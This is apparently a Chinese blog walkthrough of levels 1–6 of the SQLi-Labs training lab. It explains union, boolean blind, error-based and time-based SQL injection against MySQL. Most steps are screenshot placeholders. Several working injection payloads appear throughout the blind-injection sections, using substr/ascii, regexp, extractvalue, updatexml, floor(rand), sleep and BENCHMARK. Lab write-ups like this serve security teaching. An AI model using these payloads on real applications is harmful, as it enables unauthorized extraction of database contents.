SQLi-Labs之1~6关 - 常规注入与盲注

年初五 财神入

第一关

联合注入

1.准备

SQLi-Labs之1~6关 - 常规注入与盲注_第1张图片

2.加'截断

SQLi-Labs之1~6关 - 常规注入与盲注_第2张图片

3.order by 判断查询列数

SQLi-Labs之1~6关 - 常规注入与盲注_第3张图片

4.同上

SQLi-Labs之1~6关 - 常规注入与盲注_第4张图片

5.联合查询判断字段位置

SQLi-Labs之1~6关 - 常规注入与盲注_第5张图片

6.查数据库名

SQLi-Labs之1~6关 - 常规注入与盲注_第6张图片

7.1 查表名

SQLi-Labs之1~6关 - 常规注入与盲注_第7张图片

7.2 查列名

SQLi-Labs之1~6关 - 常规注入与盲注_第8张图片

8.查数据

SQLi-Labs之1~6关 - 常规注入与盲注_第9张图片

第二关

SQLi-Labs之1~6关 - 常规注入与盲注_第10张图片

不需要单引号截断,查询代码用了整数值

其余与第一关相同

第三关

SQLi-Labs之1~6关 - 常规注入与盲注_第11张图片

说明用了(' ')结构

SQLi-Labs之1~6关 - 常规注入与盲注_第12张图片

换成')即可

第四关

SQLi-Labs之1~6关 - 常规注入与盲注_第13张图片

说明用了(" ")结构

SQLi-Labs之1~6关 - 常规注入与盲注_第14张图片

换成")即可

第五关

SQLi-Labs之1~6关 - 常规注入与盲注_第15张图片

不管输入什么都是提示u r in....

没有回显,尝试盲注

布尔盲注

布尔盲注方式有————

left(1,2)=3 //从左侧截取1的前2位,与3的值比较

ascii(substr(1,2,3)) //从2位置开始截取字符串1的3数值长度,转换为ascii值

regexp //正则匹配目标值和a-z指定值,正确为1,错误为0

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1)

like //和regexp一样

ord() 和 mid()

(1)用left

1.测试

SQLi-Labs之1~6关 - 常规注入与盲注_第16张图片

SQLi-Labs之1~6关 - 常规注入与盲注_第17张图片

2.测试数据库第一位是否大于b

SQLi-Labs之1~6关 - 常规注入与盲注_第18张图片

是否大于y

SQLi-Labs之1~6关 - 常规注入与盲注_第19张图片

由此可见第一位在b到y之间,可以用二分法测试,不用二分法的话可以用等于号一个个试

SQLi-Labs之1~6关 - 常规注入与盲注_第20张图片

SQLi-Labs之1~6关 - 常规注入与盲注_第21张图片

前两位这样测,以此类推

(2)用length量数据库长度

SQLi-Labs之1~6关 - 常规注入与盲注_第22张图片

SQLi-Labs之1~6关 - 常规注入与盲注_第23张图片

(3)用substr和ascii

SQLi-Labs之1~6关 - 常规注入与盲注_第24张图片

SQLi-Labs之1~6关 - 常规注入与盲注_第25张图片

SQLi-Labs之1~6关 - 常规注入与盲注_第26张图片

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+

测试表名第一位是不是e

第二位把substr(x,2,1)改成2即可,以此类推

SQLi-Labs之1~6关 - 常规注入与盲注_第27张图片

获取第三个表,把limit 0,1改成limit 2,1即可,表示从2开始(顺位第3),取第1个值

SQLi-Labs之1~6关 - 常规注入与盲注_第28张图片

(4)用regexp

猜users表的列

and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)

SQLi-Labs之1~6关 - 常规注入与盲注_第29张图片

SQLi-Labs之1~6关 - 常规注入与盲注_第30张图片

(5)用ord和mid

获取user表内容

and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68

SQLi-Labs之1~6关 - 常规注入与盲注_第31张图片

获取users表中username中的第一行的第一个字符的ascii,与68进行比较

报错盲注

报错盲注类型有————

count,floor,group by

double数值超出范围

bigint溢出 xpath函数——extractvalue和updatexml

数据重复性

(1)floor函数

SQLi-Labs之1~6关 - 常规注入与盲注_第32张图片

union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a

(2)double数值超出范围

(没能复现成功)

SQLi-Labs之1~6关 - 常规注入与盲注_第33张图片

union select (exp(~(select*from(select user())x))),2,3

(3)bigint溢出

(也未能复现成功)

SQLi-Labs之1~6关 - 常规注入与盲注_第34张图片

union select(!(select * from(select user())x) - ~0),2,3

(4)xpath函数

SQLi-Labs之1~6关 - 常规注入与盲注_第35张图片

and extractvalue(1,concat(0x7e,(select @@version),0x7e))

SQLi-Labs之1~6关 - 常规注入与盲注_第36张图片

and updatexml(1,concat(0x7e,(select@@version),0x7e),1)

(5)数据重复性

SQLi-Labs之1~6关 - 常规注入与盲注_第37张图片

union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x

时间盲注

时间盲注类型有————

sleep()函数

BENCHMARK()函数

(1)sleep函数

错误,延时5秒

SQLi-Labs之1~6关 - 常规注入与盲注_第38张图片

正确

SQLi-Labs之1~6关 - 常规注入与盲注_第39张图片

and If(ascii(substr(database(),1,1))=115,1,sleep(5))

(2)BENCHMARK函数

正确

SQLi-Labs之1~6关 - 常规注入与盲注_第40张图片

UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1

当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间和CPU资源

第六关

对id参数进行了处理,把'换成''即可

至此已基本介绍完一般注入类型

你可能感兴趣的:(SQLi-Labs之1~6关 - 常规注入与盲注)